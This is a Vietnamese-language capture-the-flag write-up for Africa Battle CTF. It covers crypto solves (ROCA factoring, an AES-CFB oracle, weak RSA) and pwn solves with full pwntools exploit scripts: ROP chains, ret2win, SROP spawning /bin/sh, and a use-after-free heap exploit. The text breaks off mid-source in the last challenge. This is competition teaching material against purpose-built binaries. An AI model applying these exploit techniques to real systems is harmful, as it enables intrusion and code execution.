# (writeup) Africa Battle CTF ## CRYPTO ### Back To Origin - Bài này xàm quá, chall cho ảnh này ![](https://hackmd.io/_uploads/ryuifQyt2.png) - Đây là ancient egyptian alphabet symbols nên ta tìm được bảng này ![](https://hackmd.io/_uploads/B11pzQyFh.png) - Còn lại tự mò đi nhaa, lười quá :-1: --- ### Blind - Chall cho ta 1 đoạn như sau: ```txt &?g}-PN(9}P5MAm&?h7^PPOlbIq>h1&?hiR&?i)xPP!xdZ2CY{&?h.0PTrZKO-lrJ&?i*vPR*.wG5SCP&?h>4PQB/jXz<fx&?hE]PTrZKKk=*:&?hE]PT:0OQt?&1&?j0APQB/jG5SD3&?hE]PT:0OO-lrH&?i*vPR*.wM/sWz&?g[.PN#f@G5SC^&?i*vPN#f@O-lrp&?i:tPQjVhRq!e8&?i:tPN#f@WbN:H&?i2] ``` - Ta thử lên CyberChef và dùng magic xem thế nào ![](https://hackmd.io/_uploads/rJ3_g7yt3.png) - Ta thấy có 1 loại alphabet, nhìn là biết Braille, thế nên ta dùng lun của CyberChef thui ![](https://hackmd.io/_uploads/SyR6e7kFn.png) >Flag: BATTLECTF{WHY_D0N7_811ND_P30P13_5KYD1V3_N0_8R41113_1N57RUC710N5} --- ### Gooss - Ta thấy challenge cho ta 1 đoạn source như sau: ```python import random flag = 'battleCTF{******}' a = random.randint(4,9999999999) b = random.randint(4,9999999999) c = random.randint(4,9999999999) d = random.randint(4,9999999999) e = random.randint(4,9999999999) enc = [] for x in flag: res = (2*a*pow(ord(x),4)+b*pow(ord(x),3)+c*pow(ord(x),2)+d*ord(x)+e) enc.append(res) print(enc) #Output: [1245115057305148164, 1195140205147730541, 2441940832124642988, 2441940832124642988, 1835524676869638124, 1404473868033353193, 272777109172255911, 672752034376118188, 324890781330979572, 3086023531811583439, 475309634185807521, 1195140205147730541, 2441940832124642988, 1578661367846445708, 2358921859155462327, 1099718459319293547, 773945458916291731, 78288818574073053, 2441940832124642988, 1578661367846445708, 1099718459319293547, 343816904985468003, 1195140205147730541, 2527132076695959961, 2358921859155462327, 2358921859155462327, 1099718459319293547, 72109063929756364, 2796116718132693772, 72109063929756364, 2796116718132693772, 72109063929756364, 2796116718132693772, 3291439457645322417] ``` - Ta cần tìm 5 số a,b,c,d,e bằng cách dùng form flag 'b','a','t','l','e' Đoạn code tìm 5 số đó là: ```python lst = vector([1245115057305148164,1195140205147730541,2441940832124642988,1835524676869638124,1404473868033353193]) A = matrix( [[2*98*98*98*98, 98*98*98 , 98*98 , 98 , 1], [2*97*97*97*97 , 97*97*97 , 97*97 , 97 , 1], [2*116*116*116*116, 116*116*116, 116*116, 116, 1], [2*108*108*108*108, 108*108*108, 108*108, 108, 1], [2*101*101*101*101, 101*101*101, 101*101, 101, 1]]) print(A.solve_right(lst)) #Output: (6709636436, 7748795321, 7386429784, 62359624, 5008041292) ``` - Ta có được 5 số đó rùi, ta chỉ cần bruteforce các ký tự thui - Đoạn code cuối sẽ như sau: ```python from string import* Output=[1245115057305148164, 1195140205147730541, 2441940832124642988, 2441940832124642988, 1835524676869638124, 1404473868033353193, 272777109172255911, 672752034376118188, 324890781330979572, 3086023531811583439, 475309634185807521, 1195140205147730541, 2441940832124642988, 1578661367846445708, 2358921859155462327, 1099718459319293547, 773945458916291731, 78288818574073053, 2441940832124642988, 1578661367846445708, 1099718459319293547, 343816904985468003, 1195140205147730541, 2527132076695959961, 2358921859155462327, 2358921859155462327, 1099718459319293547, 72109063929756364, 2796116718132693772, 72109063929756364, 2796116718132693772, 72109063929756364, 2796116718132693772, 3291439457645322417] a,b,c,d,e = 6709636436, 7748795321, 7386429784, 62359624, 5008041292 flag = '' for i in Output: for x in printable: res = (2*a*pow(ord(x),4)+b*pow(ord(x),3)+c*pow(ord(x),2)+d*ord(x)+e) if res == i: flag = flag + x print(flag) ``` >Flag: battleCTF{Maths_W1th_Gauss_0x0x0x} --- ### SEA - Source code chall cho như sau: ```python from Crypto.Cipher import AES from Crypto.Util.Padding import pad from os import urandom iv = urandom(16) key = urandom(16) FLAG = b"battleCTF{REDACTED}" def encrypt(data): cipher = AES.new(key, AES.MODE_CFB, iv) return cipher.encrypt(pad(data, 16)) print(encrypt(FLAG).hex()) while True: print(encrypt(input("> ").encode()).hex()) ``` - Bài này khá giống với 1 bài trong [KCSCCTF](https://github.com/trananhnhatviet/KCSC_CTF/blob/main/CFB64_solve.md) nên mình không giải thích nhiều mà chỉ đưa ra source code giải chall này thui nhaa - Trong KCSC thì mã hóa theo từng block, còn bài này thì từng byte 1 nên là vẫn có chút khác nhaa - Source code sẽ như sau: ```python from pwn import * from Crypto.Cipher import AES p=connect("chall.battlectf.online",20001) enc_flag=p.recvline().decode() enc_flag=bytes.fromhex(enc_flag) f='' for i in (range(32)): data=f"{f}"+"\x00"*(32-i) data=data.encode() p.recvuntil(b"> ") p.sendline(data) data=bytes.fromhex(p.recvline().decode()) ch=data[i]^enc_flag[i] f+=chr(ch) print(f) print(f+'}') ``` > Flag: battleCTF{m057_f4m0us_AES_0x0x0x} ___ ### ROCYOU - Chall đưa ta 1 source code như sau: ```python from Crypto.Util.number import bytes_to_long FLAG = bytes_to_long(open("flag.txt").read().encode()) n = 14558732569295568217680262946946350946269492093750369718350618000766298342508431492935822827678025952146979183716519987777790434353113812051439651306232101 e = 65537 c = pow(FLAG, e, n) print(f"c = {c}") #c = 10924637845512114669339598787759482373871484619074241479073765261738618851409833137908272858354441670603598700617114497065118363300675413269144392865493504 ``` - Theo như mình tìm hiểu thì chall này cần phải sử dụng ROCA attack(lần đầu nghe lun óoo) - Trước khi làm chall này, ta cần phải build [TOOL](https://gitlab.com/jix/neca) này để factor được n - Sau khi ta build được, ta dùng lệnh ```bash ./neca 14558732569295568217680262946946350946269492093750369718350618000766298342508431492935822827678025952146979183716519987777790434353113812051439651306232101 ``` - Và cái kết ![](https://hackmd.io/_uploads/HkvoZgeY3.png) - Ta thu được p và q rùi thì làm như bình thường thoiii ```python from Crypto.Util.number import* p,q = 127801155916875524149457561567678575565270601000365665873572024750823913157383, 113917064871970833547038329106470040388258358281464605006613652518914797349747 n = p*q e = 65537 c = 10924637845512114669339598787759482373871484619074241479073765261738618851409833137908272858354441670603598700617114497065118363300675413269144392865493504 print(long_to_bytes(pow(c,(inverse(e,(p-1)*(q-1))),n))) ``` >Flag: battleCTF{ROCA_shork_me_0x0x0x} --- ### Saharaaa - Source code của chall như sau: ```python from cryptography.hazmat.primitives.asymmetric import rsa, padding from cryptography.hazmat.primitives import serialization from cryptography.hazmat.backends import default_backend from base64 import b64encode, b64decode FLAG = open("flag.txt").read() def load_public_key(): with open('pub.pem', 'rb') as pubf: pubkey = serialization.load_pem_public_key(pubf.read(), backend=default_backend()) return pubkey def encrypt(pubkey:rsa.RSAPublicKey, ptxt:str) -> str: enc = pubkey.encrypt(ptxt.encode(), padding.PKCS1v15()) return b64encode(enc).decode() def get_pem(key:rsa.RSAPrivateKey|rsa.RSAPublicKey): if isinstance(key, rsa.RSAPublicKey): pem = key.public_bytes(encoding=serialization.Encoding.PEM, format=serialization.PublicFormat.SubjectPublicKeyInfo) else: pem = key.private_bytes(encoding=serialization.Encoding.PEM, format=serialization.PrivateFormat.PKCS8, encryption_algorithm=serialization.NoEncryption()) return pem if __name__ == '__main__': pub_key = load_public_key() print(pub_key) pub_key_pem = get_pem(pub_key).decode() print(pub_key_pem) enc_flag = encrypt(pub_key, FLAG) with open('flag.enc', 'w') as f: f.write(enc_flag) # c = 'QrjGSaOn4vUMNLAWdKif3s0pTi3vjDupP764AqUV13FtO+0MVO5m848H1THn33Lorn5vhDOtr5x3kJBHP8lfPbgvoiw7n/FdhjjyclAlB4JLANUgLIjvurvMfFshuvsg3ljXnpNu+oVET/AgDev1hJp9CrbQ+8Axx9ki4ZRldqC/eUbzypqeun2jjKjMi98GamW6ufnZSxtJwajWLK6dHB72Dcx4sn38iHnqikRixOaUeJ6jR2yhdIYhQr4nU5tggHoxsLjnia8x4qTc4lWYAYz6vJiw1zRs0JwK//sZdEtx09c59Mj0WNrmkD8gP98f22LjHNPIxAHl3OyWY+PfcA==' # n = 17729028558979019485846420034614601781855286885772116033115998289130663218793249135103097941406615594783564487056148202535602218241261076180277862184340050681277512936764254998557657989633659561175844653871375735119626199870178796372816549333367076487655787617921785826120525919291798195591267544750350222858119219959311035913906885739352404726672836723117136379411134589884489391116922923390687958161705756705708668649262568471831705504852664779788943978721769038284989250803324876493071615384204553854811020877754034576798208169454695001947778015807032019651748938505463608871771494765303144219873993106068807291321 # e = 65537 ``` - Đoạn code kia cũng chỉ là môi trường để tạo file pem và mã hóa theo RSA nhưng mà output lại ra 1 đoạn Base64 mà thôi - Nói thật là đoạn kia không liên quan gì tới quá trình tạo n, vì vốn dĩ là nó đã có sẵn rồi, bằng chứng là đoạn code này ```python def load_public_key(): with open('pub.pem', 'rb') as pubf: pubkey = serialization.load_pem_public_key(pubf.read(), backend=default_backend()) return pubkey ``` - Ta thử căn bậc 2 cho n thì được, nên ta có đoạn code như sau` ```python c = 8422843859790922489817737293571981586088914734560090177910517249637055291830016108894715371465730625421376849345591939904351713170906763752209727906985517600285990782942362167430304669733370844182726223551036258097161556301736944890347733184033192808153106059482233919050642911653251231490237648071054804325997824004391186998486294418968608182138149803654814690405972379931270729192791987063785102148874084293941707282830362240290057590698023423525973276637821167911990408718961580268000708298914971920906668800979663451499219279204279683111070390776883803222851722956894172433504133782570883851392848556596897505136 n = 17729028558979019485846420034614601781855286885772116033115998289130663218793249135103097941406615594783564487056148202535602218241261076180277862184340050681277512936764254998557657989633659561175844653871375735119626199870178796372816549333367076487655787617921785826120525919291798195591267544750350222858119219959311035913906885739352404726672836723117136379411134589884489391116922923390687958161705756705708668649262568471831705504852664779788943978721769038284989250803324876493071615384204553854811020877754034576798208169454695001947778015807032019651748938505463608871771494765303144219873993106068807291321 e = 65537 from gmpy2 import iroot from Crypto.Util.number import * from base64 import * p = iroot(n,2)[0] d = inverse(e, p*(p-1)) m = pow(c,d,n) print(long_to_bytes(m)) #Output: b'\x02CF\x9d\x97mF\xa1\xf6\xf8(\xaf\xd9j\xa1\xbd\xdaX\xfa\xc2\r\xb0j*\xdbp\xc3\xe8E\xebxf\xbbe\x1f\x1b9\xed\n)\x0f\x8c\xcci\xbc\x12A\xd7\x86\xa4\xbeW\xc0}-Ly\x1c1\x1e\x92\xf8\xef\xd0vM>s}\xa5wy$"K\x90\xca\xe5\xf6p\xc4$\x0b\\QX0H\xffL\x80\\\xf4B{\x1e9\xdc\x08u\x1d\x97!\xady\xd3$\xa2\xd4\\\xc6\x8d?\xe6\x0e\xc6:2\xaf\x06k9\xf6\x9dW\xae\x12+$_-\xa0\x853Gu\x06\xf4\xbch\x08\xc8+9\x9eM\x9f\xe4(\x8f\xe4av\x8b\x8f\xc7 j\xc4\xb2\x92\xe7PYq\xe0ws\x96xA\x02\x14\x01)\xc4U\xd1\x93\xff\xd7\x0eC\x06\x85@\x9b71\x93?\x82\xae\x95W.\xfdd\x9c\xa6@\x91\x93\x993H\xb8\x11\xc2\x00FLAG: battleCTF{Sm4!!_RSA_k3y_in_The_Sahara}\n' ``` >Flag: battleCTF{Sm4!!_RSA_k3y_in_The_Sahara} ___ ## PWN ### ROP_BLACK - source C: ```c #include <stdio.h> #include <stdlib.h> int check_file = 0; int african = 0; int invite_code = 0; int capcha = 0; void read_flag(){ if(!(check_file && african && invite_code && capcha)) { printf("403|You aren't allowed to read the flag!\n"); exit(1); } char flag[65]; FILE * f = fopen("flag.txt","r"); if (f == NULL){ printf("flag.txt doesn't exist, try again on the server\n"); exit(0); } fgets( flag, 65, f ); printf("%s\n",flag); fflush(stdout); } void check_flag(char* file) { if(strcmp(file, "flag.txt") == 0) { check_file = 1; } } void check_african() { african = 1; } void check_invitecode(int code) { if(code == 0xbae) { invite_code = 1; } } void check_capcha(int login, int auth) { if(login == 0x062023 && auth == 0xbf1212) { capcha = 1; } } void vuln() { char buffer[10]; printf("check your identity and read the flag.\n"); gets(buffer); } int main(){ vuln(); } ``` - checks và vm ![image](https://github.com/gookoosss/CTF.-/assets/128712571/ab8d528f-60ea-4e01-b0f7-ee991d345ee1) **hmm phân tích sơ qua source nha:** - ở hàm vuln có lỗi BOF ta có thể khai thác bằng cách ret2win - tại hàm read_flag có if phải thỏa 4 biến check_file , african, invite_code và capcha phải khác 0, muốn nó khác 0 thì ta phải đi qua 4 hàm của nó để đổi nó thành 1 ```c if(!(check_file && african && invite_code && capcha)) { printf("403|You aren't allowed to read the flag!\n"); exit(1); } ``` - hướng làm của ta bây giờ phải đi qua 4 hàm của các biến rồi với đi qua hàm read_flag là sẽ qua flag **tóm tắt:** **ret2win -> check_capcha -> check_invitecode -> check_african -> check_flag -> read_flag -> end** - oke h ta tính offset rồi **ret2win** vào **check_capcha** chạy thử xem sao: ![image](https://github.com/gookoosss/CTF.-/assets/128712571/33790e30-0910-4450-87e7-545dee4b71b5) - tại đây nó so sánh **ebp+0x8 với 0x62023** và **ebp+0xc với 0xbf1212** , nên ta phải gán vào **2 stack trên giá trị 0x62023 và 0xbf1212** **vấn đề xảy ra ở đây là nếu ta gán 0xbf1212 và 0x62023 vào stack thì khi kết thúc hàm check_capcha nó sẽ trỏ vào tiếp vào địa chỉ ko hợp lý dẫn đến lỗi** - cách giải quyết bây giờ ta phải tìm **ropgadget** hợp lý để sau khi kết thúc các hàm nó sẽ trỏ đến **ropgadget**, sau đó sẽ **pop các giá trị 0x62023 và 0xb1212** vào thanh ghi nào đó để đến lệnh ret sẽ trỏ đến địa chỉ hợp lệ ta cần ![image](https://github.com/gookoosss/CTF.-/assets/128712571/04e32e31-f347-4dc2-8d76-00186ad35b04) >mình sẽ chọn **0x080493e9** - bây giờ mình sẽ chạy thử đoạn script này xem sao: ```python payload = b'a'*22 #offset payload += p32(exe.sym['check_capcha']) payload += p32(pop_esi_edi_ebp) + p32(0x062023) + p32(0xbf1212) + p32(0x804ca00) payload += p32(exe.sym['check_invitecode']) payload += p32(pop_esi_edi_ebp) + p32(0xbae) + p32(0xbae) + p32(0x804ca00) ``` ![image](https://github.com/gookoosss/CTF.-/assets/128712571/08de151a-7d04-4c14-8b08-3f23de771e38) lúc này ret trỏ đến địa chỉ hợp lệ nên sẽ chạy tiếp và ko báo lỗi ![image](https://github.com/gookoosss/CTF.-/assets/128712571/f9f9dfb1-1d6e-4c96-a17b-76c091dc9d36) - lúc này **pop_esi_edi_ebp** sẽ **gán 0x62023 và 0xbf1212 vào esi và edi** nên sẽ đẩy 0xbae lên vị trí rbp+0x8 thỏa điều kiện hàm **check_invitecode** - h ta sẽ chạy nốt các hàm còn lại là xong ```python payload = b'a'*22 #offset payload += p32(exe.sym['check_capcha']) payload += p32(pop_esi_edi_ebp) + p32(0x062023) + p32(0xbf1212) + p32(0x804ca00) payload += p32(exe.sym['check_invitecode']) payload += p32(pop_esi_edi_ebp) + p32(0xbae) + p32(0xbae) + p32(0x804ca00) payload += p32(exe.sym['check_african']) payload += p32(exe.sym['check_flag']) payload += p32(exe.sym['read_flag']+1) ``` ![image](https://github.com/gookoosss/CTF.-/assets/128712571/6b6bfd1f-4933-4824-af52-9ea11d78d056) - hmm lỗi rồi nè, debug lại xem sao có lỗi ở đâu ![image](https://github.com/gookoosss/CTF.-/assets/128712571/75aad704-c44d-4a7f-9c3e-f120cb6e0526) - à thì ra ở đây nó so sánh địa chỉ của **file flag.txt** với **rbp+0x0** nên ta chỉ cần gán **rbp+0x0** bằng địa chỉ **flag.txt** là ra rồi - script: ```python from pwn import * context.binary = exe = ELF('./rop_black',checksec=False) p = process(exe.path) # p = remote('chall.battlectf.online',1004) pop_esi_edi_ebp = 0x080493e9 gdb.attach(p, gdbscript = ''' b*vuln+43 b*vuln+48 c ''') input() payload = b'a'*22 #offset payload += p32(exe.sym['check_capcha']) payload += p32(pop_esi_edi_ebp) + p32(0x062023) + p32(0xbf1212) + p32(0x804ca00) payload += p32(exe.sym['check_invitecode']) payload += p32(pop_esi_edi_ebp) + p32(0xbae) + p32(0xbae) + p32(0x804ca00) payload += p32(exe.sym['check_african']) payload += p32(exe.sym['check_flag']) payload += p32(exe.sym['read_flag']+1) # payload += p32(0x804a033) p.sendline(payload) p.interactive() ``` ![image](https://github.com/gookoosss/CTF.-/assets/128712571/0c1a51e0-8354-490e-a660-e59e614c3859) - lúc này ta làm đúng rồi nè > Flag: battleCTF{rop_Afr1cA_x_7352adb6a9fd43b762413112a9695fde} --- ### AM1 - source C: ```c #include <stdio.h> #include <stdlib.h> void print_file(char * file) { char buffer[20]; FILE * inputFile = fopen( file, "r" ); if ( inputFile == NULL ) { printf( "Cannot open file %s\n", file ); exit( -1 ); } fgets( buffer, 65, inputFile ); printf("Output: %s",buffer); } int main(){ puts("Welcome to Africa battleCTF."); puts("Tell us something about you: "); char buf[0x30]; gets( buf ); return 0; } ``` - checks và vm: ![image](https://github.com/gookoosss/CTF.-/assets/128712571/63af5b7d-74aa-4c58-9469-5dc0383e0411) - hmm bài này có lỗi BOF bình thường và ta dễ dàng ret2win đến hàm print_file **tại hàm print_file thì nó sẽ đọc 1 file nào đó trong server chưa xác định được, ta thử dùng ret2win chạy thử xem sao** ![image](https://github.com/gookoosss/CTF.-/assets/128712571/864b882b-b645-4e3f-99cd-e90705dbae62) - đến đây thì nó sẽ so sánh **rbp-0x8** với giá trị **null** giống nhau nên sẽ out chương trình - vấn đề bây h là hàm **print_file** ko đọc đúng file mình cần, thứ mình cần là file **flag.txt**, nên hướng làm là ta sẽ gán file **flag.txt** vào hàm print_flag để đọc flag - bây giờ ta cần **pop rdi** và 1 địa chỉ tĩnh ghi được để có thể lợi dùng hàm **gets** để nhập **flag.txt vào pop rdi** ![image](https://github.com/gookoosss/CTF.-/assets/128712571/8179c5eb-0d38-448f-a706-23017d28d5ec) - tại đây địa chi 0x00000000404000 là địa chỉ ghi được, ta sẽ tăng lên là 0x00000000404a00 để chắc chắn ra được **(chi tiết hướng làm mình sẽ comment trên script)** - script: ```python from pwn import * context.binary = exe = ELF('./am1',checksec=False) p = process(exe.path) # p = remote('pwn.battlectf.online',1003) gdb.attach(p, gdbscript = ''' b*main+55 c ''') input() pop_rdi = 0x000000000040128b payload = b'a'*56 # offset payload += p64(pop_rdi) + p64(0x00000000404a00) # gán địa chỉ ghi được vào rdi payload += p64(exe.sym['gets']) #nhập flag.txt vào địa chỉ ghi được payload += p64(pop_rdi) + p64(0x00000000404a00) #gán flag.txt vào rdi payload += p64(exe.sym['print_file']) # chạy vào đây in flag p.sendline(payload) sleep(2) p.sendline(b'flag.txt') p.interactive() ``` > Flag: battleCTF{Africa_1d3al_r0p_e70bee3af3e2b1430d8dc7863a33790d} --- ### youpi - Bài này ta cần lưu ý khi BOF, ta đã ow rbp, do vậy ta cần ow rbp bằng một địa chỉ trong vùng read-write. - Khi ret2win thì ta có thể nhảy đến bất cứ đâu ta muốn, do vậy ta sẽ nhảy qua lệnh if kiểm tra check ```python #!/usr/bin/python3 from pwn import * exe = ELF('youpi', checksec=False) context.binary = exe def GDB(): if not args.REMOTE: gdb.attach(p, gdbscript=''' b*main+56 b*youpiii+18 c ''') input() info = lambda msg: log.info(msg) sla = lambda msg, data: p.sendlineafter(msg, data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) s = lambda data: p.send(data) if args.REMOTE: p = remote('chall.battlectf.online', 1005) else: p = process(exe.path) pop_rbp = 0x000000000040115d GDB() payload = b"a" * 0x30 +p64(0x0000000000404040) + p64(exe.sym['youpiii'] + 18) sla(b"country: \n", payload) p.interactive() ``` > Flag: --- ### AXOVI - BOF đơn giản, vì chương trình cho ta hàm system, và pop rdi. Chỉ thiếu /bin/sh, do đó ta sẽ ghi /bin/sh vào vùng read-write bằng gets, sau đó pop rdi địa chỉ /bin/sh ```python #!/usr/bin/python3 from pwn import * exe = ELF('axovi', checksec=False) context.binary = exe def GDB(): if not args.REMOTE: gdb.attach(p, gdbscript=''' b*0x0000000000401157 c ''') input() info = lambda msg: log.info(msg) sla = lambda msg, data: p.sendlineafter(msg, data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) s = lambda data: p.send(data) if args.REMOTE: p = remote('chall.battlectf.online', 1002) else: p = process(exe.path) GDB() pop_rdi = 0x00000000004011bb rw = 0x0000000000404000 payload = b"a" * 56 + flat( pop_rdi, rw, exe.plt['gets'], pop_rdi, rw, exe.plt['system'] ) sla(b"about :", payload) p.interactive() ``` --- ### battleCTF Event Portal ```python= import math a = 4643287737560106158 b = 8241998971081357166 y = 2**64 gcd_by = math.gcd(b, y) if a % gcd_by == 0: i = (a // gcd_by * pow(b // gcd_by, -1, y // gcd_by)) % (y // gcd_by) print(i) else: print("Không tìm thấy giá trị i thỏa mãn.") ``` ```python from z3 import * foREVer = Solver() x = BitVec("0", 64) foREVer.add(((x * 0x726176656e70776e) & 0xffffffffffffffff) == 0x407045989b3284ae) if foREVer.check() == sat: solution = foREVer.model() solution = hex(int(str(solution[x]))) solution = solution[2:] value = "" i = int(len(solution) / 2) while i > 0: i -= 1 y = solution[(i*2):(i*2) + 2] value += chr(int("0x" + y, 16)) print("Now I think, I understand: " + value) else: print("Not solvable, I would recommend crying, a lot") ``` ![](https://hackmd.io/_uploads/rJrE94bth.png) > payload = 'anniepwn' ![](https://hackmd.io/_uploads/B1IZANWt3.png) > Flag: battleCTF{N3w_1nteg3r_0v3rfl0w_bb4a0612f6b3ad0d04223e022687600c} --- ### 0xf - bài này SROP đơn giản - script: ```python #!/usr/bin/python3 from pwn import * exe = ELF('0xf', checksec=False) context.binary = exe def GDB(): if not args.REMOTE: gdb.attach(p, gdbscript=''' b*main +55 c ''') input() info = lambda msg: log.info(msg) sla = lambda msg, data: p.sendlineafter(msg, data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) s = lambda data: p.send(data) if args.REMOTE: p = remote('chall.battlectf.online', 1009) else: p = process(exe.path) GDB() syscall = 0x0000000000401140 frame = SigreturnFrame() frame.rax = 0x3b frame.rdi = 0x402004 frame.rsi = 0 frame.rdx = 0 frame.rsp = 0 frame.rip = syscall payload = b"a" * 56 + p64(exe.sym['hausa']+1) + p64(syscall) + bytes(frame) sla(b"ethnicity:\n", payload) p.interactive() ``` --- ### Danxome #### Source ```c #include <stdio.h> #include <stdlib.h> #include <unistd.h> #define MINON_SIZE 10 #define MAX_NAME_SIZE 0x40 typedef struct Awhouangan Awhouangan; typedef struct Gbeto Gbeto; typedef struct Minon Minon; typedef void (*speakFunc)(char*); enum MinonType { AWHOUANGAN, GBETO }; struct Minon { speakFunc ; enum MinonType type; char* name; }; struct Danxome { int numOfMinon; Minon* minons[MINON_SIZE]; } danxome = { .numOfMinon = 0 }; void Nawi() { system("/bin/sh"); } void print(char* str) { system("/usr/bin/date +\"%Y/%m/%d %H:%M.%S\" | tr -d '\n'"); printf(": %s\n", str); } void speak(char* name) { print(name); } void init() { setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); setvbuf(stderr, 0, 2, 0); alarm(60); } int menu() { int choice = -1; print("Welcome to Danxome Military zone !!!"); print("1) Add Minon"); print("2) Remove Minon"); print("3) Report Minon Name"); print("0) Exit"); while (1) { printf("> "); scanf("%d", &choice); if (choice >= 0 && choice < 5) { break; } printf("??\n"); } printf("\n"); return choice; } void add_minon() { int choice; int size; int idx; Minon* minon; if (danxome.numOfMinon >= MINON_SIZE) { print("[ERROR] The Military zone is full."); return; } for (idx = 0; idx < MINON_SIZE; idx++) { if (danxome.minons[idx] == NULL) { break; } } minon = (Minon*) malloc(sizeof(Minon)); print("Type of Minon?"); print("1) Awhouangan"); print("2) Gbeto"); while (1) { printf("> "); scanf("%d", &choice); if (choice == 1) { minon->type = AWHOUANGAN; break; } if (choice == 2) { minon->type = GBETO; break; } printf("??\n"); } minon->speak = speak; print("How long is the name? (max: 64 characters)"); while (1) { printf("> "); scanf("%d", &size); if (size >= 0 && size < MAX_NAME_SIZE) { minon->name = (char*) malloc(size); break; } printf("??\n"); } print("Name of minon?"); printf("> "); read(0, minon->name, size); danxome.minons[idx] = minon; printf("> [DEBUG] Minon is added to Military zone %d\n", idx); danxome.numOfMinon++; } void remove_minon() { int choice; if (danxome.numOfMinon <= 0) { print("[ERROR] No minon in the Military zone."); return; } print("Zone number? (0-9)"); while (1) { printf("> "); scanf("%d", &choice); if (choice >= 0 && choice < MINON_SIZE) { break; } printf("??\n"); } if (danxome.minons[choice] == NULL) { print("[ERROR] No minon in this zone."); return; } free(danxome.minons[choice]->name); free(danxome.minons[choice]); //UAF printf("> [DEBUG] Minon is removed from zone %d\n", choice); danxome.numOfMinon--; } void report_name() { int choice; if (danxome.numOfMinon <= 0) { print("[ERROR] No minon in the Military zone."); return; } print("Zone number? (0-9)"); while (1) { printf("> "); scanf("%d", &choice); if (choice >= 0 && choice < MINON_SIZE) { break; } printf("??\n"); } if (danxome.minons[choice] == NULL) { print("[ERROR] No minon in this zone."); return; } danxome.minons[choice]->speak(danxome.minons[choice]->name); } int main(int argc, char const *argv[]) { int leave = 0; init(); while(!leave) { switch (menu()) { case 1: add_minon(); break; case 2: remove_minon(); break; case 3: report_name(); break; default: leave = 1; } printf("\n"); } return 0; } ``` #### Ý tưởng - Ta có lỗi UAF do chương trình sau khi free, không hề xoá con trỏ ![image](https://github.com/wan-hyhty/trainning/assets/111769169/40d02578-2fbd-45fc-8ed9-71640c735165) - Mỗi khi tạo 1 minon mới, tạo 2 chunk, chunk đầu tiên size mặc định 0x20 để lưu hàm speak, và chunk thứ 2 được sử dụng để lưu tên - Khi report_name, chương trình sẽ lấy chunk đầu tiên đang lưu hàm speak vào rdx, và call rdx ![image](https://github.com/wan-hyhty/trainning/assets/111769169/7b29f5a4-24bc-4b20-8c40-6abc44f45820) - Vậy ta cần phải ow chunk đầu tiên thành hàm `Nawi()` chứa `system()` - Để có thể ow chunk chứa speak, ta sẽ lợi dụng cơ chế LIFO của fastbin, tcache #### Khai thác - Đầu tiên ta sẽ tạo 2 minon 0 và 1 như sau và free theo thứ tự sau: ![image](https://github.com/wan-hyhty/trainning/assets/111769169/7f9aaf25-dff0-44b9-8357-839af29db12e) - Khi này trong fastbin thứ tự các chunk như số màu đỏ - Khi ta tạo thêm 1 chunk có size 0x20, chương trình sẽ lấy chunk 4 (để lưu speak) và chunk 2 (để lưu tên) - Ta thấy rằng do chương trình không xoá con trỏ ra khỏi danh sách minon, ta đã có thể UAF minon 0, ow speak thành `Nawi()` ![image](https://github.com/wan-hyhty/trainning/assets/111769169/766694ab-b35c-48f1-a741-3d389ea89293) - script: ```python from pwn import * # p = remote('pwn.battlectf.online', 1006) p = process("./minon") elf = ELF('./minon') get_shell = elf.symbols['Nawi'] gdb.attach(p, gdbscript = ''' b*0x000000000040131f b*0x0000000000401616 b*0x00000000004016f1 c ''') input() def add(size, name): p.sendlineafter(b'>', b'1') p.sendlineafter(b'>', b'1') p.sendlineafter(b'>', str(size).encode('utf-8')) p.sendafter(b'>', name) p.recvuntil(b'> [DEBUG]') def remove(idx): p.sendlineafter(b'>', b'2') p.sendlineafter(b'>', str(idx).encode('utf-8')) def report(idx): p.sendlineafter(b'>', b'3') p.sendlineafter(b'>', str(idx).encode('utf-8')) add(0x18, b'a'*8) add(0x38, b'a'*8) remove(0) remove(1) add(0x18, flat(elf.sym['Nawi'])) report(0) p.interactive() ``` --- ### Danxome2 #### Source ```c #include <stdio.h> #include <stdlib.h> #include <unistd.h> #define MINON_SIZE 10 //#define MAX_NAME_SIZE 0x40 typedef struct Awhouangan Awhouangan; typedef struct Gbeto Gbeto; typedef struct Minon Minon; typedef void (*speakFunc)(char*); enum MinonType { AWHOUANGAN, GBETO }; struct Minon { speakFunc speak; enum MinonType type; char* name; }; struct Danxome { int numOfMinon; Minon* minons[MINON_SIZE]; } danxome = { .numOfMinon = 0 }; void print(char* str) { system("/usr/bin/date +\"%Y/%m/%d %H:%M.%S\" | tr -d '\n'"); printf(": %s\n", str); } void speak(char* name) { print(name); } void init() { setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); setvbuf(stderr, 0, 2, 0); alarm(60); } int menu() { int choice = -1; print("Welcome to Danxome Military zone !!!"); print("1) Add Minon"); print("2) Remove Minon"); print("3) Report Minon Name"); print("0) Exit"); while (1) { printf("> "); scanf("%d", &choice); if (choice >= 0 && choice < 5) { break; } printf("??\n"); } printf("\n"); return choice; } void add_minon() { int choice; int size; int idx; Minon* minon; if (danxome.numOfMinon >= MINON_SIZE) { print("[ERROR] The Military zone is full."); return; } for (idx = 0; idx < MINON_SIZE; idx++) { if (danxome.minons[idx] == NULL) { break; } } minon = (Minon*) malloc(sizeof(Minon)); print("Type of Minon?"); print("1) Awhouangan"); print("2) Gbeto"); while (1) { printf("> "); scanf("%d", &choice); if (choice == 1) { minon->type = AWHOUANGAN; break; } if (choice == 2) { minon->type = GBETO; break; } printf("??\n"); } minon->speak = speak; minon->name = (char*) malloc(0x18); print("Name of minon?"); printf("> "); read(0, minon->name, 0x18); danxome.minons[idx] = minon; printf("> [DEBUG] Minon is added to Military zone %d\n", idx); danxome.numOfMinon++; } void remove_minon() { int choice; if (danxome.numOfMinon <= 0) { print("[ERROR] No minon in the Military zone."); return; } print("Zone number? (0-9)"); while (1) { printf("> "); scanf("%d", &choice); if (choice >= 0 && choice < MINON_SIZE) { break; } printf("??\n"); } if (danxome.minons[choice] == NULL) { print("[ERROR] No minon in this zone."); return; } free(danxome.minons[choice]->name); free(danxome.minons[choice]); printf("> [DEBUG] Minon is removed from zone %d\n", choice); danxome.numOfMinon--; } void report_name() { int choice; if (danxome.numOfMinon <= 0) { print("[ERROR] 